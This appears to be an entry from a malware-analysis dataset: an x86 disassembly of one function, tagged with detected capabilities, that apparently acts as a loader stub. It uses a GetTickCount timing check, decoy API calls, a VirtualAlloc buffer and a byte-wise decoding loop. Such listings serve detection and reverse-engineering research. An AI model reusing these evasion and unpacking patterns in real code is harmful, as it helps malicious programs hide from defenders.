Function at 0x4032cb
Capabilities:
Check for time delay via gettickcount
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40332c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xe4], eax
mov dword [ebp - 0x2c], 0xefafdc02
mov dword [ebp - 0x3c], 0xefafdc03
mov dword [ebp - 0x1c], 0x8a645fd3
mov dword [ebp - 0x10], 0xe9c156
mov edx, dword [ebp - 8]
cmp dword [edx + 0xe4], 0
je 0x40340d
mov dword [ebp - 0x40], 0
mov dword [ebp - 0xc], 0xa030
mov dword [ebp - 4], 0xc35f4902
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xe4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x30]
mov dword [eax + 0x100], ecx
push 4
lea edx, [ebp - 0x48]
push edx
mov eax, dword [ebp - 8]
add eax, 0xa0
push eax
call fcn.0040100f
add esp, 0xc
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x3c]
mov dword [ecx + 0xe8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xe4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0xd4], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x2c]
mov dword [ecx + 0xe0], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 0x19c], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
mov dword [edx + 0x14], eax
mov dword [ebp - 0x34], 0x8764efd3
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
jmp 0x403415
push 0xa
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xe4]
mov dword [edx + 0x1c], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x34]
mov dword [edx + 0x154], eax
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x48], 0x7654fde1
lea edx, [ebp - 0x38]
mov dword [ebp - 0x60], edx
mov dword [ebp - 0xb8], 0
mov eax, dword [ebp - 0x60]
mov dword [eax], 0xddaf831e
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0xac], 0
push 0x188
push 0x64
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 4
mov ecx, dword [ebp - 8]
add ecx, 0xa0
push ecx
lea edx, [ebp - 4]
push edx
call fcn.0040100f
add esp, 0xc
mov eax, dword [ebp - 4]
add eax, 0x15
mov dword [ebp - 4], eax
mov dword [ebp - 0xb0], 0xafef78c
mov dword [ebp - 0x54], 0
mov ecx, dword [ebp - 0xb0]
sub ecx, 0xafed872
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x6c], 0xffff
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [ebp - 8]
mov dword [edx + 0xe4], eax
mov byte [ebp - 0x140], 0xb
cmp dword [ebp - 0xb0], 0
jbe 0x40353f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jne 0x403536
push 0x64
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
push 0
push 0
call sub.AVIFIL32.dll_AVIBuildFilterA
call sub.MSACM32.dll_acmGetVersion
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0xb0], 0
jne 0x40355b
push 0x8000
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x403562
mov dword [ebp - 0x64], 0x40
mov ecx, dword [ebp - 0xb0]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x64]
push edx
push 0x1000
mov eax, dword [ebp - 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xd8], eax
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xd8]
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 4]
add ecx, 0x456
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x100]
add eax, 0x400
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x100], eax
mov dword [ebp - 0x50], 0
mov edx, dword [ebp - 8]
cmp dword [edx + 0xd8], 0
je 0x403749
mov eax, dword [ebp - 8]
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [eax + 0x134], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x100]
add eax, 0x100
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 8]
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ecx + 0x24], edx
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x158], 4
mov eax, dword [ebp - 8]
cmp dword [eax + 0x24], 0
jbe 0x4036fc
mov ecx, dword [ebp - 4]
add ecx, 0xf4291
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x403646
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 4
push 0x1000
mov edx, dword [ebp - 0xb0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040100f
add esp, 0xc
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0xa8], 0xffffffff
lea ecx, [ebp - 0x169]
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x54], 0
mov edx, dword [ebp - 0xa8]
add edx, 1
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xa8]
movzx edx, byte [ecx]
sub edx, dword [ebp - 0x164]
mov byte [ebp - 0x169], dl
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x15c]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0xb0]
jb 0x403699
mov dword [ebp - 0xa8], 0xffffffff
jmp 0x40371c
push 0x8000
push 0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401119
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xd8]
add eax, 4
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xd8], eax
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xd8]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x38]
mov dword [ecx + 0x188], edx
mov eax, 1
mov esp, ebp
pop ebp
ret